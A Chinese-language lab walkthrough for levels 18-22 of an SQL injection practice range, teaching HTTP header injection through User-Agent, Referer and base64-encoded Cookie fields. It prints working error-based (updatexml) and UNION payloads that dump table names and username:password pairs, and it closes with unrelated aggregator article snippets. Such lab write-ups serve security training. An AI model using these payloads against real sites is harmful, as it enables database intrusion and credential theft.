【sql靶場】第18-22關-htpp頭部注入保姆級教程

目錄

【sql靶場】第18-22關-htpp頭部注入保姆級教程

1.回顧知識

1.http頭部

2.報錯注入

2.第十八關

1.嘗試

2.爆出數據庫名

3.爆出表名

4.爆出字段

5.爆出賬號密碼

3.第十九關

4.第二十關

5.第二十一關

6.第二十二關


【sql靶場】第18-22關-htpp頭部注入保姆級教程

1.回顧知識
1.http頭部

HTTP請求頭部有一些常用的字段,這些字段提供了關于請求的詳細信息,以及客戶端和服務器之間的交互方式。下面是一些常見的HTTP請求頭部字段:

  1. User-Agent:這個頭部字段提供了關于發送請求的應用程序或瀏覽器的信息。它通常包括應用程序的名稱、版本和使用的操作系統等信息。例如,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36。
  2. Accept:這個頭部字段指定客戶端能夠處理的數據類型,例如文本、HTML、圖片、音頻等。通過這個字段,服務器可以了解客戶端支持的內容格式,并相應地返回數據。
  3. Accept-Language:這個頭部字段指定客戶端接受的語言類型和優先級。例如,Accept-Language: en-US,en;q=0.5。這有助于服務器返回與客戶端語言偏好匹配的內容。
  4. Cookie:這個頭部字段用于在客戶端和服務器之間傳遞會話信息。Cookie通常用于保存用戶的登錄狀態、購物車內容等。服務器通過讀取Cookie頭部字段中的值,可以識別用戶或恢復會話狀態。
  5. Host:這個頭部字段指定要訪問的服務器地址。對于DNS解析后的域名或IP地址,服務器可以使用Host頭部來找到相應的資源。例如,Host: www.example.com。
  6. Referer:這個頭部字段指定請求來源網頁的URL。當用戶從一個網頁跳轉到另一個網頁時,瀏覽器會發送Referer頭部,以便服務器知道原始頁面的來源。
  7. Authorization:這個頭部字段用于向服務器提供身份驗證信息,例如Bearer token或Basic authentication。當用戶需要登錄或授權訪問特定資源時,瀏覽器會發送包含身份驗證信息的Authorization頭部。

2.報錯注入

1.報錯注入深解

有則利用報錯顯示進行注入,讓報錯里面攜帶所需的查詢信息

可以通過列數不同進行判斷是否有報錯,但是報錯注入一般是讓報錯函數通過構造?非法XPath表達式強制觸發數據庫解析錯誤,其核心原理與字段數無關,原因是字段數不匹配錯誤發生在 ?結果集構造階段(如 UNION 前后字段數不一致)報錯注入的異常發生在 ?條件解析階段(如XPath解析失敗),早于結果集生成,無論主查詢返回3個字段還是其他數量,條件邏輯僅影響數據過濾,不涉及字段數對比?

2.報錯注入格式

一般是通過updatexml與 extractvalue進行構造?非法XPath表達式

?id=1' and updatexml(1,concat(0x7e,(子查詢語句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查詢語句),0x7e))--+ 

3.使用的函數

concat:將同一行中多個字段的值拼接為單個字符串,適用于單行多列數據的合并?

group_concat:某一列的數據聚合,適用于單列多行數據的合并?

兩個可以組合使用----每次先將行中的兩個字段進行拼接成字符串再進行列的每行數據聚合

GROUP_CONCAT(CONCAT(col1, col2))

區別:

concat適用于需要精準提取特定行數據的場景(如管理員賬號)?。需多次請求,效率較低?

group_concat單次請求獲取數據,但需手動拼接分片結果?。適用于快速批量泄露(如全表用戶密碼)

問題:

在利用 updatexml 進行報錯注入時,可能會因為查詢結果因長度限制顯示不全,可通過以下兩種方法解決:mid()或 substr()分片截取數據,規避 updatexml() 的32字符長度限制?

使用的語法:

limit 0,1:從第0行開始,獲取1條數據。逐次修改起始位置(如 limit 1,1、limit 2,1)遍歷所有記錄?

substr(string, start, length):從字符串第1位開始截取31個字符(因報錯信息最大長度約32字符),

逐次修改 start 參數(如 32、63)循環獲取后續內容?。

mid(string, start, length):從字符串第1位開始截取31個字符(因報錯信息最大長度約32字符),

逐次修改 start 參數(如 32、63)循環獲取后續內容?。

區別:

substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,兩者語法和功能完全一致?,但是一般使用 mid(),功能相同但兼容性更佳?,可無縫替代 substr避免潛在語法沖突?。

?特性?concat + limitgroup_concat + substr/mid
?數據范圍?單行數據多行聚合數據
?輸出格式?單條記錄(如 user~pass多條記錄合并(如 user1~pass1,user2~pass2
?注入效率?需多次請求遍歷數據單次請求獲取多行數據
?長度限制處理?直接適配單行輸出長度需通過 substr 分段截取避免超長截斷?

2.第十八關
1.嘗試

在這里的輸入框分別進行單引號雙引號測試,不行

同時輸入賬號密碼再在其中一個里面進行注入測試,不行

嘗試輸入正確賬號,隨機密碼進行注入測試,不行

輸入正確賬號密碼,再在輸入框進行注入,不行

輸入正確賬號密碼,不注入,看頁面,結果出現了http頭部的User-Agent信息,既然會有User-Agent信息打印出來,我們就可以嘗試能不能進行注入,進行抓包修改User-Agent,進行注入

發現在User-Agent上修改,會有報錯返回

那既然有報錯返回,我們就可以嘗試進行報錯注入

2.爆出數據庫名

第一次嘗試

a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

但是沒有成功報錯注入,而是又報錯了sql語句錯誤,在注釋符那里,很多時候都會有過濾注釋符,最好使用and '1'='1;我比較懶就直接使用了注釋符#,我們嘗試使用and '1'='1

a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

結果成功了注入出來數據庫名

3.爆出表名

然后同樣進行注入表名

a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

結果報錯截斷不正確的double值a

我覺得可能是and的問題,因為and必須都為真,于是改為了or

a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

結果依然報錯

我就嘗試將前面的字符a刪除,但是我想嘗試and可不可以,畢竟前面沒有值了

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

結果雖然不會報錯了,但是也沒有了報錯注入返回

于是使用or

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

最終成功注入出來了

但是我后面又想到既然是截斷不正確的double值,?浮點數數據類型?,用于表示帶有小數部分的數值,那我不使用英文字符了,使用數字字符了

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

結果果然沒有報錯了,但是報錯注入的返回也沒有了,那這樣可能是因為截斷了正確的double值,而使用了or,只需要其中一個為真就好,后面的報錯注入直接不看了導致的,那么我又使用回and

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

結果果然也可以爆出表名

4.爆出字段
' or updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1) and '1'='1

5.爆出賬號密碼
' or  updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) and '1'='1

3.第十九關

這一關爆出http頭部的Referer字段信息,除了注入位置不愿意,剩下的與十八關基本一樣

4.第二十關

這一關爆出http頭部的Cookie字段信息

然后我們可以看到這里將用戶名與密碼和id都顯出來了,我們可以利用這個測試回顯位置進行注入

放掉第一個包

用第二個包

16-抓包2

測試字段

' order by 4#

報錯了,說明可以用報錯注入,與十八、十九關操作基本一樣,但是這一關有回顯就不用這么麻煩,發現字段不是4

' order by 3#

沒有報錯,則是三

測試回顯

' union select 1,2,3#

發現全部回顯,id為1,name為2,password為3,進行注入

爆出數據庫名

' union select 1,2,database()#

爆出全部

這里為了方便就不一條一條爆出來了,直接用三個回顯爆出全部信息,一般來說要一個一個來,因為你知道數據庫名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出賬號密碼

 ' union select  (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#

5.第二十一關

這一關與第二十關十分相似,但是又有所不同

首先登入看頁面,發現也是Cookie字段信息

結果發現語句name在打印里面還變成了一串奇怪語句

我們去后端查看

if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', base64_encode($row1['username']), time()+3600);	echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >';			//echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error());			echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";header ('Location: index.php');}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";			echo "</br>";echo '<img src="../images/slap.jpg" />';	echo "</font>";  }}

在里面我們可以看到有這么一句

setcookie('uname', base64_encode($row1['username']), time()+3600);	

這一句使得我們注入的語句要進行base64編碼才能夠注入

進行編碼

') union select 1,2,database()#

報錯了,查看報錯發現是閉合方式錯誤,改成')閉合

這里為了方便就不一條一條爆出來了,直接用三個回顯爆出全部信息,一般來說要一個一個來,因為你知道數據庫名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出賬號密碼

') union select  (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#

6.第二十二關

這一關閉合方式為",剩下的與第二十一關基本一樣。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/73775.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/73775.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/73775.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python----計算機視覺處理(Opencv:形態學變換)

一、形態學變化 形態學變換&#xff08;Morphological Transformations&#xff09;是一種基于形狀的圖像處理技術&#xff0c;主要處理的對象為二值化圖像。 形態學變換有兩個輸入和一個輸出&#xff1a;輸入為原始圖像和核&#xff08;即結構化元素&#xff09;&#xff0c;輸…

對于memset(b, 1, sizeof b)賦值為16843009情況

memset(b, 1, sizeof b); 的行為看起來可能不符合預期&#xff0c;這是因為 memset 的工作方式和數據類型之間的差異導致的。下面詳細解釋這個問題。 1. memset 的作用 memset 是 C/C 中的一個標準庫函數&#xff0c;用于將一段內存區域的值設置為指定的字節值。它的函數原型如…

【最新版】智慧小區物業管理小程序源碼+uniapp全開源

一.系統介紹 智慧小區物業管理小程序,包含小區物業繳費、房產管理、在線報修、業主活動報名、在線商城等功能。為物業量身打造的智慧小區運營管理系統,貼合物業工作場景,輕松提高物業費用收繳率,更有功能模塊個性化組合,助力物業節約成本高效運營。 二.搭建環境 系統環…

C++模板進階

目錄 非類型模板參數 類模板的特化 分類 函數模板的特化 模板分離編譯 問題 解決方法 1&#xff09;不對模板定義進行分離或對模板進行特例化&#xff1b; 2&#xff09;將聲明和定義放在同一個文件 總結 關于C模板的使用在《C類和對象》中有介紹&#xff0c;本篇博客…

Ubuntu togo系統讀寫性能與原生系統測試

我前面把一個Ubuntu環境拷貝到了一個10Gbps的硬盤盒制作了一個Ubuntu togo的系統&#xff0c;帖子在這里&#xff0c;這篇文章主要用于測試使用Ubuntu togo的系統和原生系統的性能差異。 以下是測試Ubuntu togo系統與原系統性能差異的具體方案&#xff0c;結合移動硬盤特性及參…

【css酷炫效果】實現魚群游動動態效果

【css酷炫效果】實現小魚游動動態效果 緣創作背景css代碼創建div容器引入jquery引入魚群js完整代碼效果圖成品資源下載鏈接:點擊下載 緣 在開發系統功能的時候,無意間看到了小魚游動特效,感覺很有意思,就在網上找了相關教程,分享給大家。 創作背景 剛看到csdn出活動了…

停車場停車位數據集,標注停車位上是否有車,平均正確識別率99.5%,支持yolov5-11, coco json,darknet,xml格式標注

停車場停車位數據集&#xff0c;標注停車位上是否有車&#xff0c;平均正確識別率98.0&#xff05;&#xff0c;支持yolov5-11&#xff0c; coco json&#xff0c;darknet&#xff0c;xml格式標注 數據集-識別停車場所有車輛的數據集 數據集分割 一共184張圖片 訓練組 89&am…

結合基于標簽置信度的特征選擇方法用于部分多標簽學習-簡介版

假設 部分多標簽學習&#xff08;PML&#xff09;假設&#xff1a;假設樣本的標簽集合中存在偽正標簽&#xff0c;即某些標簽可能是錯誤的。目標是從候選標簽集中識別出真實標簽。特征與標簽的關系假設&#xff1a;假設不同的標簽對應的特征子空間可能是不同的&#xff0c;而不…

Lora微LLAMA模型實戰

引言 本文介紹如何復現Alpaca-lora&#xff0c;即基于alpaca數據集用lora方法微調Llama模型。 環境準備 實驗環境用的是lanyun&#xff0c;新用戶點擊注冊可以送算力。 下載huggingface上的模型是一個令人頭疼的問題&#xff0c;但在lanyun上可以通過在終端運行source /etc…

Maven常見問題匯總

Maven刷新,本地倉庫無法更新 現象 This failure was cached in the local repository and resolution is not reattempted until the update interval of aliyunmaven has elapsed or updates are forced原因 因為上一次嘗試下載&#xff0c;發現對應的倉庫沒有這個maven配置…

什么是站群服務器?站群服務器應該怎么選?

站群服務器是專門用于托管和管理多個網站的服務器。通常用于SEO優化、內容分發、廣告推廣等場景&#xff0c;用戶可以通過一個服務器管理多個站點&#xff0c;提升效率并降低成本。選擇站群服務器時&#xff0c;需根據業務需求、性能要求、IP資源等因素進行綜合考慮。 什么是站…

分享一個項目中遇到的一個算法題

需求背景&#xff1a; 需求是用戶要創建一個任務計劃在未來執行&#xff0c;要求在創建任務計劃的時候判斷選擇的時間是否符合要求&#xff0c;否則不允許創建&#xff0c;創建的任務類型有兩種&#xff0c;一種是單次&#xff0c;任務只執行一次&#xff1b;另一種是周期&…

【LInux進程六】命令行參數和環境變量

【LInux進程六】命令行參數和環境變量 1.main函數的兩個參數2.利用main函數實現一個簡單的計算器3.環境變量之一&#xff1a;PATH4.修改PATH5.在命令行解釋器bash中查看所有環境變量6.用自己寫的程序查看環境變量7.main函數的第三個參數8.本地的環境變量和環境變量9.環境變量具…

時間軸版本-2.0

文章簡述 這是本人自己封裝的時間軸2.0版本的代碼&#xff0c;用到了TypeScriptJavaScript 這篇文章只有代碼和具體的使用方式&#xff0c;如果想看具體的講解可以參考本人寫的時間軸1.0版本的&#xff0c;在1.0版本中可能計算時間線的邏輯略有不同&#xff0c;但是大致的計算…

大語言模型的壓縮技術

盡管人們對越來越大的語言模型一直很感興趣&#xff0c;但MistralAI 向我們表明&#xff0c;規模只是相對而言的&#xff0c;而對邊緣計算日益增長的興趣促使我們使用小型語言獲得不錯的結果。壓縮技術提供了一種替代方法。在本文中&#xff0c;我將解釋這些技術&#xff0c;并…

大華HTTP協議在智聯視頻超融合平臺中的接入方法

一. 大華HTTP協議介紹 大華HTTP協議是大華股份&#xff08;Dahua Technology&#xff09;為其安防監控設備開發的一套基于HTTP/HTTPS的通信協議&#xff0c;主要用于設備與客戶端&#xff08;如PC、手機、服務器&#xff09;之間的數據交互。該協議支持設備管理、視頻流獲取、…

Linux內核實時機制28 - RT調度器11 - RT 組調度

Linux內核實時機制28 - RT調度器11 - RT 組調度 相關數據結構 內核中通過static int sched_rt_runtime_exceeded(struct rt_rq *rt_rq)函數來判斷實時任務運行時間是否超出帶寬限制,判斷這個運行隊列rt_rq的運行時間是否超過了額定的運行時間。而“運行時間”和“額定時間”都…

java,poi,提取ppt文件中的文字內容

注意&#xff0c;不涉及圖片處理。 先上pom依賴&#xff1a; <!-- 處理PPTX文件 --><dependency><groupId>org.apache.poi</groupId><artifactId>poi-ooxml</artifactId><version>5.2.3</version></dependency><!--…

7、vue3做了什么

大佬認為有何優點&#xff1a; 組合式api----邏輯集中、對ts有更好的支持RFC–開放了一個討論機制&#xff0c;可以看到每一個api的提案&#xff0c;方便源碼維護&#xff0c;功能擴展&#xff0c;大家一起討論 官方rfc響應式獨立&#xff0c;new Proxy&#xff0c;天生自帶來…

多人在線聊天系統,創建群,視頻,語音,自帶帶授權碼

多人在線聊天系統&#xff0c;創建群&#xff0c;視頻&#xff0c;語音 帶授權碼&#xff0c;授權碼限制 10 個網站&#xff0c;需要下載研究吧 在線聊天&#xff0c;創建群&#xff0c;表情&#xff0c;圖片&#xff0c;文件&#xff0c;視頻&#xff0c;語音&#xff0c;自…